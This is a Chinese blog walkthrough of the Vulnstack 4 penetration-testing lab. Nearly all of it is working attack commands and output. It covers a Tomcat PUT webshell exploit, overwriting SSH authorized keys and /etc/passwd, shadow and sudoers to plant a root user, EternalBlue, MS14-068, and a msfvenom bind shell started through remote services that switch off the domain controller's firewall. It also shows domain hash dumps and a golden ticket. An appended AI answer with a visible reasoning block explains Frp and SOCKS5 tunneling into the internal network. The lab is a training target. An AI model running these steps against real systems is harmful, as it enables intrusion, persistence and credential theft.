Vulnstack(四)

本文详细介绍了渗透测试的过程,包括信息收集(主机发现、端口扫描),Apache put文件上传漏洞利用,SSH密钥窃取,创建新用户,内网横向移动(主机探测、Chisel socks连接、MSF永恒之蓝利用),以及权限维持(域控信息收集、权限提升)。展示了多种工具和技术在实战中的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

靶场拓扑

下载连接:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

用的是VMware workstation  所以可能出现一些错误

Docker环境启动的是Vulhub的在线三个靶机

1.信息收集

主机发现

sudo netdiscover -i eth1 -r 192.168.157.0/24

端口扫描

nmap -A 192.168.53.128 -p- -oN nmap.a

2.apache put文件上传脚本利用

使用kali自带的脚本上传webshell

searchsploit apache
cd /usr/share/exploitdb/exploits/jsp/webapps/
cp 42966.py ~/Desktop/

使用方法
options:

-u ,--url [::] check target url if it's vulnerable 
-p,--pwn  [::] generate webshell and upload it
-l,--list [::] hosts list

[+]usage:

./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
python ./42966.py -u http://192.168.157.128:2002/ -p pwn

上传webshell

3.SSH密钥窃取

生成SSH密钥

cd ~/.ssh
ssh-kengen -t rsa

编写批处理bash脚本上传至服务器覆盖密钥对

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo > /test/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCariHvGdUFNGfHtFSmW7Q2woLBhYEA6j6tfzW2LpkOyP/hf+jlUaaJGdS7h5/O6qVrSQy0p5R8TlzwGlumAhaSJmi5TSt6+sNNMVaWtzukKh1BfUfQYVwfneefpz7830nGv9B5MWpYgwNh287jGXwcCqb17Ia6151ntEKJIEf70pQ+rIq+id8p2I9lv0g4qyp6JbTAmNUXm4Pt1PwSnTE4m6wX4g7hqOo7xhyDbrfstIghGW9YQuDR6PCDtnMKmD4hwYHJ/Bsthu22E0Do3mn2nnqhjpCxsdHwpr4dY54wVCz4XCHTac8etSyrHHb/TaXBR/HexlwgJ4/7E9A0I9mEKxluix6Gp6ZUnHEaT9BIg8LcOB6K7PtJR7v0iPzNTtNURXv2yZWr/gtBVyhinZKwerXIGEbmgKzbEZ7boEOhcXmjcAmHgJUosSNNG/NkJTdhPeGdvfpda3pHurt454uUikUzM1DqPiI7j+eq0osxv55s8wJFxOLo4ofzhPdr4WU= kali@ToolsScannerKali20201' > /test/home/ubuntu/.ssh/authorized_keys
cat /test/home/ubuntu/.ssh/authorized_keys

使用Python开启一个HTTP服务

python -m SimpleHTTPServer

Webshell使用wget命令下载bash脚本

chmod 777 kk.sh
./kk.sh

SSH密钥连接服务器

4.覆盖配置文件创建用户

编写bash脚本上传至webshell处  使用root权限进行创建用户

chmod +w /test/etc/passwd
chmod +w /test/etc/shadow
chmod +w /test/etc/sudoers
mkdir /test/home/wxk
chmod 777 /test/home/wxk
echo 'wxk:x:1001:1000:wxk,,,:/home/wxk:/bin/bash' >> /test/etc/passwd
echo 'wxk:$6$y7ditcTck7bT1Hnm$zIW.1CQlRsI3HfvX0Wsp855YOXftM2YEkRZ28Ycr9CpYcWOXUN00ef2jzsipWlhaFjZoqB7jjaceC4l9cE9He0:18769:0:99999:7:::' >> /test/etc/shadow
echo 'wxk    ALL=(ALL:ALL) ALL' >> /test/etc/sudoers
cat /test/etc/shadow

SSH连接创建的用户

ssh wxk@192.168.157.128
sudo -s   #sudolers 配置文件赋权

5.内网横向

内网主机探测

写个脚本进行内网主机探测

#!/bin/bash
NETWORK=$1
for HOST in $(seq 1 254)
do
        ping -c 1 -w 1 $NETWORK.$HOST &>/dev/null && result=0 || result=1
                if [ "$result" == 0 ];then
                        echo -e "\033[32;1m$NETWORK.$HOST is up! \033[0m"
                fi
done

 

chisel建立socks连接

chisel下载地址:https://github.com/jpillora/chisel/releases

./chisel server -p 4545 --socks5
./chisel client 192.168.157.128:4545 socks

MSF永恒之蓝正向连接

use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rport 445
rport => 445
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.183.133
rhost => 192.168.183.133
msf5 exploit(windows/smb/ms17_010_eternalblue) > setg Proxies socks5:127.0.0.1:1080
Proxies => socks5:127.0.0.1:1080
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

域内信息收集

net view /DOMAIN            #查询域名
            DEMO
net view /DOMAIN:DEMO  #查询域内主机
            \\TESTWIN7-PC                                                                  
            \\WIN-ENS2VR5TR3N
steal_token 2860  加入到douser进程 #提权为域用户
net group "domain controllers" /domain   #查询域控
                                                   WIN-ENS2VR5TR3N$
wmic computersystem get domain      #查看完整域名
                                                                demo.com
net group "doamin admins" /domain   #查询域管理员
                                                                Administrator
net group "domain users" /domain       #查询域内有哪些用户
                                                                Administrator            douser                   krbtgt
nslookup WIN-ENS2VR5TR3N.demo.com    #查询域控IP
                                                                          Name:    WIN-ENS2VR5TR3N.demo.com
                                                                          Address:  192.168.183.130
whoami /all   #SID
                      user:S-1-5-21-979886063-1111900045-1414766810-1107
                      domain:S-1-5-21-979886063-1111900045-1414766810
systeminfo #补丁信息
                           Hotfix(s):                 37 Hotfix(s) Installed.
                           [01]: KB2491683
                           [02]: KB2534111
                           [03]: KB2564958
                           [04]: KB2621440
                           [05]: KB2653956
                           [06]: KB2654428
                           [07]: KB2698365
                           [08]: KB2705219
                           [09]: KB2736422
                           [10]: KB2813430
                           [11]: KB2900986
                           [12]: KB2937610
                           [13]: KB2943357
                           [14]: KB2978120
                           [15]: KB2984972
                           [16]: KB2992611
                           [17]: KB2999226
                           [18]: KB3004375
                           [19]: KB3010788
                           [20]: KB3023215
                           [21]: KB3031432
                           [22]: KB3035126
                           [23]: KB3037574
                           [24]: KB3045685
                           [25]: KB3046269
                           [26]: KB3072305
                           [27]: KB3074543
                           [28]: KB3086255
                           [29]: KB3097989
                           [30]: KB3101722
                           [31]: KB3108371
                           [32]: KB3122648
                           [33]: KB3127220
                           [34]: KB3155178
                           [35]: KB4019990
                           [36]: KB4040980
                           [37]: KB976902

MS14-068提权

MS14-068.exe -u douser@demo.com -p Dotest123 -sS-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

载入票据

mimikatz # kerberos::ptc TGT_douser@demo.com.ccache

MSF正向连接域控

生成正向shell脚本

msfvenom -p windows/meterpreter/bind_tcp lport=1234 -f exe > upd.exe
添加服务关闭域控防火墙
sc \\WIN-ENS2VR5TR3N create closewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start closewall                              #启动服务

sc \\WIN-ENS2VR5TR3N create ProtectUpdate binpath="C:\upd.exe"    #创建服务执行文件
sc \\WIN-ENS2VR5TR3N start ProtectUpdate                          #启动服务

定时执行文件
copy upd.exe \\WIN-ENS2VR5TR3N\c$\upd.exe

net time \\WIN-ENS2VR5TR3N

at \\WIN-ENS2VR5TR3N 9:06:00 c:/upd.exe

定时执行文件

steal_token 进程提权为域管理员

6.权限维持

使用域管理员账户读取krbtgt的NTLM Hash

读取域控hash明文密码

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c63e855aa6906d5e10725c3ed5e3a9ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

抓取域内所有hash

[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:afffeba176210fad4628f0524bfe1942
[+]     krbtgt:502:aad3b435b51404eeaad3b435b51404ee:7c4ed692473d4b4344c3ba01c5e6cb63
[+]     douser:1103:aad3b435b51404eeaad3b435b51404ee:bc23b0b4d5bf5ff42bc61fb62e13886e
[+]     WIN-ENS2VR5TR3N$:1000:aad3b435b51404eeaad3b435b51404ee:825b4d415a87a34cccee85260858055e

抓取登陆后明文密码

获取krbtgt账户SID

wmic useraccount where name="krbtgt" get sid

S-1-5-21-979886063-1111900045-1414766810-502

kiwi读取krbtgte的信息

[+] Account   : krbtgt
[+] NTLM Hash : 7c4ed692473d4b4344c3ba01c5e6cb63
[+] LM Hash   : 4d81a5d6b591f0710e75884e5ef9cba2
[+] SID       : S-1-5-21-979886063-1111900045-1414766810-502
[+] RID       : 502

生成黄金票据

golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket 本地存储路径如:/tmp/krbtgt.ticket>
golden_ticket_create -d demo.com -u wxk -s S-1-5-21-979886063-1111900045-1414766810 -k 7c4ed692473d4b4344c3ba01c5e6cb63 -t /tmp/krbtgt.ticket

清除票据

kerberos_ticket_purge

载入票据

kerberos_ticket_use /tmp/krbtgt.ticket

 

 

<think>嗯,用户的问题是关于如何利用Frp来实现内网穿透,让Kali能够通过作为中间跳板的Vulnstack-Win7访问到Windows Server 2008的Web服务。我需要先理清楚各个设备的网络配置和角色分配。 首先,根据用户提供的IP地址,Kali(192.168.42.149)和Vulnstack-Win7(192.168.42.100)在同一个子网42中,而Vulnstack-Win7还有一个IP是52网段的(192.168.52.100),这说明它可能连接了两个不同的网络。Windows Server 2008的IP是192.168.52.138,和Vulnstack-Win7的52网段在同一子网,所以Vulnstack-Win7可以作为跳板,连接42和52这两个网段。 用户希望Kali作为Frp的服务端,Vulnstack-Win7作为客户端,同时还要配置Socks5代理。需要确认Frp的服务端应该部署在哪个位置。通常,服务端需要具有公网IP,但在这个案例中,可能是在内网环境中,所以Kali作为服务端,监听来自Vulnstack-Win7客户端的连接。然后通过Frp将Windows Server 2008的Web服务暴露出来,同时设置Socks5代理进行流量转发。 接下来,我需要考虑Frp的配置步骤。服务端(Kali)需要配置frps.ini,设置绑定端口,比如7000,可能还需要配置dashboard端口。客户端(Vulnstack-Win7)则需要配置frpc.ini,连接到Kali的7000端口,并设置Web服务的转发,比如将本地52网段的80端口映射到服务端的某个端口,如8080。同时,还需要配置Socks5代理,让Kali能够通过这个代理访问到52网段的其他服务。 另外需要注意防火墙设置,确保相关端口在Kali和Vulnstack-Win7上都是开放的。比如,Kali需要开放7000、7500和代理端口如1080,而Vulnstack-Win7需要允许Frp客户端出站连接到Kali的7000端口。Windows Server 2008的防火墙也要确保80端口开放,允许来自Vulnstack-Win7的访问。 可能用户在实际操作中会遇到的问题包括配置错误、端口冲突、防火墙阻止连接等。需要提醒用户检查配置文件是否正确,服务是否正常运行,以及网络连通性是否正常。例如,测试从Vulnstack-Win7能否访问Windows Server 2008的Web服务,以及从Kali能否通过Socks5代理访问52网段的其他资源。 最后,要确保步骤清晰,用户能够逐步跟随配置,并且理解每个步骤的作用。比如,Frp服务端和客户端的配置文件的每个参数的含义,以及如何验证每个部分是否工作正常。同时,安全方面,使用加密和身份认证(token)来保证Frp连接的安全性,避免未授权访问。</think>根据Frp的⼯作原理和你的需求,我将分步骤说明如何搭建这个穿透环境: 一、网络拓扑分析 $$ \begin{array}{ccc} \text{Kali(服务端)} & \leftrightarrow & \text{Vulnstack-Win7(客户端)} \\ 192.168.42.149 & \text{子网42} & 192.168.42.100 \\ & & \downarrow \text{子网52} \\ & & \text{Win2008(Web服务)} \\ & & 192.168.52.138 \\ \end{array} $$ 二、配置步骤 1. Kali服务端配置(frps) ```ini # frps.ini [common] bind_port = 7000 # 客户端连接端口 dashboard_port = 7500 # 监控面板 dashboard_user = admin dashboard_pwd = your_password token = your_token # 身份验证密钥 ``` 2. Vulnstack-Win7客户端配置(frpc) ```ini # frpc.ini [common] server_addr = 192.168.42.149 server_port = 7000 token = your_token # Web服务穿透 [web] type = tcp local_ip = 192.168.52.138 # 目标服务器IP local_port = 80 # 目标服务端口 remote_port = 8080 # 外网暴露端口 # Socks5代理 [socks5] type = tcp plugin = socks5 remote_port = 1080 ``` 3. Windows Server 2008配置 - 确保IIS/Apache等Web服务正常运行 - 开放80端口防火墙策略 三、验证流程 1. 启动服务 ```bash # Kali启动服务端 ./frps -c frps.ini # Win7启动客户端 frpc.exe -c frpc.ini ``` 2. 测试访问 - 通过Kali访问Web服务: ```bash curl http://192.168.42.149:8080 ``` 3. 使用Socks5代理 ```bash # 配置proxychains echo "socks5 192.168.42.149 1080" >> /etc/proxychains.conf # 通过代理访问内网 proxychains curl 192.168.52.138 ``` 、注意事项 1. 防火墙策略需开放: - Kali:7000(frp连接)、7500(面板)、1080(socks5) - Win7:允许frpc出站连接 - Win2008:允许80端口入站 2. 隧道加密建议: - 在[common]中添加: ```ini tls_enable = true # 启用TLS加密 authenticate_new_work_conn = true ``` 3. 流量监控: 可通过`tcpdump -i eth0 port 7000`监控基础通信流量 实际配置时需要根据具体服务类型(HTTP/TCP/UDP)调整穿透参数,建议先完成基础穿透后再添加Socks5代理功能。
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值